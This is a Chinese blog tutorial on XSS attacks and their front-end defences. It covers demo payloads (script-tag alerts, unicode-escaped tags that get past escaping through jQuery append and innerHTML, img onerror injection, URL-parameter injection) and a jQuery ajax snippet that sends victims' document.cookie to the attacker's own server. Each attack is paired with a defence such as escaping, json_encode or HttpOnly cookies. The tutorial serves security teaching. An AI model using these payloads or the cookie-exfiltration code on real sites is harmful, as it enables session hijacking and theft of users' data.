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Web前端安全（一）-XSS攻击及其防御

2017-12-13  本文已影响1117人  虚竹梦姑

最近有的同学在面试的过程中可能会遇到web安全相关的知识。那今天咱们来整理一下web安全相关的知识吧！
声明该文章大量参考，https://segmentfault.com/a/1190000006672214?utm_source=weekly&utm_medium=email&utm_campaign=email_weekly#articleHeader14， 后期会进行更深入的研究和实践！

web安全的问题历来是比较重要的问题，但是在小的公司一般会被忽略掉，或者是漏掉。可能有很多方面的原因把，即使这样，面试的时候笔试题或者面试题中也会出现很多这种问题！咱们在这里不过多讲解web网络安全的知识，因为太多太高深了！咱们这里只需要关心web前端工程师比较常见的安全问题及其怎么进行防御的问题！

为什么要会存在攻击?

其实真正为了玩的心态去进行黑网站的人，还是少数。多数攻击还是有利益的成分在里面的。我模糊的记得，以前听腾讯的工程师说过一句话，大概是这样的：开发者不可能确保自己的应用绝对无法被攻击，但是只要攻击我们的时候，黑客花费的成本远比他可以获取的利益大得多，黑客就不会去攻击。防范强如支付宝、QQ等产品，也都曾被报过漏洞，看来防御不是绝对的，我们只能想办法让我们的应用更加安全。

前端攻击都有哪些形式，我们该如何防范？

1、XSS攻击

1.1、XSS简介

XSS攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS，XSS是一种在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

其实在web前端方面，可以简单的理解为一种javascript代码注入。举个例子，我们有个社交网站，允许大家相互访问空间，网站可能是这样做的：

<?php
    $username="蒯老师";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名：<?php echo $username;?>
        </div>
        <div>
            第一条状态：蒯老师的状态1
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
    </body>
</html>

运行后的效果是这样的：


效果图.png

但是，如果你的用户名，起名称的时候，带上script标签呢？我们知道，浏览器遇到html中的script标签的时候，会解析并执行标签中的js脚本代码，那么如果你的用户名称里面含有script标签的话，就可以执行其中的代码了。
代码如下，效果如图：

<?php
    $username="<script>alert('蒯老师');</script>";
?>
效果图2

如果你将自己的用户名设定为这种执行脚本的方式，再让别人去访问你的连接的话，就可以达到在他人web环境中，执行自己脚本的效果了。我们还可以使用ajax，将其他用户在当前域名下的cookie获取并发送到自己的服务器上。这样就可以获取他人信息了。比如，刚刚咱们使用的不是alert而是，如下的代码：

$.ajax({
    url: '自己的服务器',
    dataType: 'jsonp',
    data: {'盗取的用户cookie': document.cookie}
});

1.2 怎么在前端代码进行防范？

目前来讲，最简单的办法防治办法，还是将前端输出数据都进行转义最为稳妥。比如，按照刚刚我们那个例子来说，其本质是，浏览器遇到script标签的话，则会执行其中的脚本。但是如果我们将script标签的进行转义，则浏览器便不会认为其是一个标签，但是显示的时候，还是会按照正常的方式去显示，代码如下，效果如图：

<?php
    $username="<script>alert('蒯老师');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <!--我们将输出的后端变量，转义之后再输出，则可以避免被注入代码-->
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态：蒯老师的状态1
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
    </body>
</html>
效果图3

我们来看一下网页源码：


网页源码

虽然显示出来是有script标签的，但是实际上，script标签的左右尖括号(><)，均被转义为html字符实体，所以，便不会被当做标签来解析的，但是实际显示的时候，这两个尖括号，还是可以正常展示的。

1.3 攻击升级

在看这小结的时候，需要大家可以去看看xss攻击流程或者直接做一次简单的攻击实例来玩玩，否则你会看蒙的！

1.3.1 append的利用

上一小节我们防住了script标签的左右尖括号，然而，聪明的黑客们还是想出了好办法去破解，我们知道，直接给innerHTML赋值一段js，是无法被执行的，因为咱们已经转义了。比如，

$('div').innerHTML = '<script>alert("okok");</script>';

但是，jquery的append可以做到，究其原因，就是因为jquery会在将append元素变为fragment的时候，找到其中的script标签，再使用eval执行一遍。jquery的append使用的方式也是innerHTML(如图1.3.1.1)。而innerHTML是会将unicode码转换为字符实体的。

需要注意的地方就是eval这个函数是可以将字符串重新转换成函数的并且执行函数的。eval() 函数：可计算某个字符串,并执行其中的的 JavaScript 代码。
利用这两种知识结合，我们可以得出，网站使用append进行dom操作，如果是append我们可以决定的字段，那么我们可以将左右尖括号，使用unicode码伪装起来，就像这样--"\u003cscript\u003ealert('okok');"。接下来转义的时候，伪装成\u003的<会被漏掉，append的时候，则会被重新调用。代码如下:

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态：蒯老师的状态1
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
        <div>版权所有：<span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>
append效果图

我们可以看到，虽然进行了转义，注入的代码还是会再次被执行。

1.3.2 img利用攻击

img标签，在加载图片失败的时候，会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。我们先来看一下，正常的用户分享图片的行为怎么做。代码如下:

<?php
    $username="<script>alert('蒯老师');</script>";
    $imgsrc="https://img3.doubanio.com/view/photo/l/public/p2504752942.webp";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态：蒯老师的状态1，这个是图片：
            <img src="<?php echo $imgsrc;?>" height="200"/>
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
    </body>
</html>
效果图

但是图片的地址使用另外一种写法

<?php
    $imgsrc="\" onerror=\"javascript:alert('蒯老师');\"";
?>

这时的源码已经变为--src为空，但是onerror的时候，执行注入代码。我们刷新查看页面，就会发现，代码注入已经成功。


2017-12-13_165549.png

兄弟们说那你就使用转义接着防御吧！！！没问题

<img src="<?php echo htmlentities($imgsrc);?>" />

哈哈，恢复正常了！但是别急，下面的攻击会让你防不胜防！！！

1.3.3组合攻击

道高一尺魔高一丈，虽然防住了img标签直接的输出，但是我们的攻击点又来了，我们将1.3.1中所说的方式与1.3.2中所说的方式进行结合，进行一种组合式攻击，我们之前说过，innerHTML赋值的script标签，不会被执行，但是innerHTML赋值一个img标签是可以被识别的。我们把img标签的左右尖括号，使用unicode进行伪装，让转义方法认不出来，即使innerHTML也可以利用上了，代码如下：

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态：蒯老师的状态1
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
        <div>版权所有：<span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>
效果图
攻击成功！！！

1.4 防御升级（回击）

我们需要再次进行防御升级了，我们将输出的字符串中的\反斜杠进行转义(json转义)。这样，\就不会被当做unicode码的开头来被处理了。代码如下：

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

效果图:

效果图
完美回击

1.5 XSS攻击再升级（另辟他径）

都说了道高一尺魔高一丈了，你以为防得住后端输出，黑客大大们就没办法攻击了吗。我们有的时候，会有一些习惯，拿URL上的get参数去构建网页。好比说，直接拿url上的用户名去展示啦，拿url上的一些回跳地址之类的。但是url上的参数，我们是无法提前对其进行转义的。接下来，来个例子，代码如下：

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            用户名：<?php echo htmlentities($username);?>
        </div>
        <div>
            第一条状态：蒯老师的状态1
        </div>
        <div>
            第二条状态：蒯老师的状态2
        </div>
        <div>
            第三条状态：蒯老师的状态3
        </div>
        <div>版权所有：<span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

上述代码，满足了一个很正常的需求，解开URL中的一个参数，并将其渲染至页面上。但是，这里面存在一个风险，如果黑客在URL的这个参数中，加入js代码，这样便又会被执行。


效果图

1.6 XSS防御再升级（抵挡千军万马）

像这种从url中获取的信息，笔者建议，最好由后端获取，在前端转义后再行输出，代码如下，效果如图

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>
效果图

使用url中的参数的时候要小心，更不要拿URL中的参数去eval。

1.7 究极防御 - 保护cookie

大家都知道直接使用document.cookie就可以拿到你的cookie了。如果不幸中招了，黑客的js真的在我们的网页上执行了，我们该怎么办。其实，很多时候，我们的敏感信息都是存储在cookie中的（不要把用户机密信息放在网页中），想要阻止黑客通过js访问到cookie中的用户敏感信息。那么请使用cookie的HttpOnly属性，加上了这个属性的cookie字段，js是无法进行读写的。php的设置方法如下：

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

最后一个值设置TRUE时，我们的cookie是读取不到的，效果如下:


效果图

下面一篇文章讲解CSRF攻击的知识

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